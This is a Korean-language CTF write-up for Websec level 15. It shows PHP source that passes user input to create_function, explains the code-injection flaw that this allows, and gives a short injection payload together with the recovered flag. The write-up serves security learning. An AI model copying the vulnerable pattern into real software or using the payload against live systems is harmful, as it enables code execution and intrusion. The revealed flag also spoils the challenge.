Websec - Level 15
Websec 15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php /* source */
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
$success = '
<div class="alert alert-success alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
Function declared.
</div>
';
include "flag.php";
if (isset ($_POST['c']) && !empty ($_POST['c'])) {
$fun = create_function('$flag', $_POST['c']);
print($success);
//fun($flag);
if (isset($_POST['q']) && $_POST['q'] == 'checked') {
die();
}
}
?>
<input type="text" class="form-control" id="c" name="c" placeholder="echo 1337;" required>
<input type="checkbox" class="form-control" id="q" name="q" value="1"> Exit after declaration
Solution
create_function
함수는 lambda 형식으로 함수를 생성해주는 함수임.
1
2
3
4
5
6
7
create_function(string $args, string $code): string
args : The function arguments.
code : The function code.
Returns a unique function name as a string, or false on error.
create_function에는 취약점이 있음.
- Link
- exploit-db.com/exploits/32417
- codetd.com/en/article/7175910 –> Explain
php 5.2.6에서 발견되었고 7.2.0부터 사용되지 않고 8.0부터는 제거되었음.
php 4.0.1 ~ php 5, php 7 에서는 유효함.
이 함수는 람다 형식으로 임의 함수를 생성해주는 함수임.
php.net에서 예제 코드 $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
를 람다 형식으로 써주면 아래와 같음.
1
2
3
4
5
<?php
$newfunc = function($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
};
?>
따라서 code 부분을 우리가 조작할 수 있다면 위의 형식을 이용해서 아래처럼 해줄 수 있음.
1
2
3
4
5
$funstring = 'return ;};echo 5;/*';
$unused = create_function('',$funstring);
// 5 출력
1
2
3
4
5
6
$test = function( $a ) {
return ;
};
echo 5;
/*
};
따라서 return ;};echo $flag;/*
를 해주면 아래와 같은 플래그가 출력이 됨.
$flag
:WEBSEC{HHVM_was_right_about_not_implementing_eval}
This post is licensed under CC BY 4.0 by the author.